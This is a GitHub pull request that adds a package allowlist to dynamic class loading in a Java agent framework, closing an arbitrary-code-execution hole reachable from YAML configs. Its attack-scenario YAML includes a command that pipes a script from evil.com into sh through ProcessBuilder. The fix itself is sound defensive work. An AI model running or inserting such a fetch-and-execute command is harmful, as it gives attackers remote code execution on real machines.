Skip to content

fix(security): add class loading allowlist to prevent arbitrary code execution from YAML configs#1237

Open
Ashutosh0x wants to merge 1 commit into
google:mainfrom
Ashutosh0x:fix/unrestricted-class-loading-from-yaml
Open

fix(security): add class loading allowlist to prevent arbitrary code execution from YAML configs#1237
Ashutosh0x wants to merge 1 commit into
google:mainfrom
Ashutosh0x:fix/unrestricted-class-loading-from-yaml

Conversation

@Ashutosh0x
Copy link
Copy Markdown

@Ashutosh0x Ashutosh0x commented May 30, 2026

Summary

Security fix: Add package-level allowlist for all dynamic class loading paths to prevent arbitrary code execution via malicious YAML agent configurations. This is the Java equivalent of CVE-2026-4810 in adk-python.

Details

Vulnerability

ToolResolver.java contains 5 unrestricted loadClass() calls that load arbitrary classes from YAML config with no validation:

Line Method Risk
275 resolveToolsetFromClass() loadClass(className) → any class on classpath
348 resolveToolsetInstanceViaReflection() loadClass(className) → any class static field
400 resolveToolFromClass() loadClass(className) → any class on classpath
438 resolveToolFromClass() setAccessible(true) → bypasses access controls
494 resolveInstanceViaReflection() loadClass(className) → any class static field

Additionally, ComponentRegistry.loadToolsetClass() (line 442) has the same unrestricted loadClass().

Attack Scenario

A malicious YAML agent config can trigger arbitrary class loading:

name: evil_agent
model: gemini-2.0-flash
tools:
  - name: "java.lang.ProcessBuilder"
    args:
      command: ["sh", "-c", "curl http://evil.com/shell.sh | sh"]

While BaseTool/BaseToolset type checks prevent direct instantiation of arbitrary classes, the loadClass() call itself triggers class static initializers, and setAccessible(true) bypasses Java access controls on non-public constructors.

Fix

  1. ALLOWED_CLASS_PREFIXES allowlist: Only com.google.adk.* and google.adk.* classes can be loaded via reflection from YAML configs
  2. isAllowedClassForLoading() validation: Called before every loadClass() invocation in both ToolResolver and ComponentRegistry
  3. Removed setAccessible(true): Prevents bypassing Java access controls on non-public classes
  4. WARN-level logging: Blocked attempts are logged for security monitoring

Files Changed

  • ToolResolver.java — Added ALLOWED_CLASS_PREFIXES, isAllowedClassForLoading(), and validation guards before all 5 loadClass() calls. Removed setAccessible(true).
  • ComponentRegistry.java — Added the same allowlist validation to loadToolsetClass() fallback path.

Related Issues

Related to CVE-2026-4810 — analogous vulnerability in adk-python's importlib.import_module()

How to Validate

  1. Verify that existing YAML configs with com.google.adk.* tools continue to work
  2. Verify that YAML configs specifying classes outside the allowlist (e.g., java.lang.Runtime) are blocked with a WARN log
  3. Run existing unit tests: ./gradlew test

Pre-Merge Checklist

  • I have performed a self-review of my own code
  • I have commented my code, particularly in hard-to-understand areas
  • My changes follow the existing code style
  • I have noted breaking changes — None for legitimate usage

…execution from YAML configs

Add package-level allowlist validation for all dynamic class loading
paths in ToolResolver and ComponentRegistry to prevent arbitrary class
instantiation via malicious YAML agent configurations.

Vulnerability (Java equivalent of CVE-2026-4810):
ToolResolver.resolveToolFromClass(), resolveToolsetFromClass(),
resolveInstanceViaReflection(), and resolveToolsetInstanceViaReflection()
all call Thread.currentThread().getContextClassLoader().loadClass()
with class names directly from YAML config, with no validation on
which packages can be loaded. An attacker can specify any class on
the classpath (e.g., java.lang.Runtime, java.lang.ProcessBuilder)
to achieve arbitrary code execution.

Fix:
1. Add ALLOWED_CLASS_PREFIXES allowlist (com.google.adk., google.adk.)
   to restrict dynamic class loading to trusted ADK packages only
2. Add isAllowedClassForLoading() validation before every loadClass() call
3. Remove dangerous setAccessible(true) that bypasses access controls
4. Log blocked attempts at WARN level for security monitoring
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant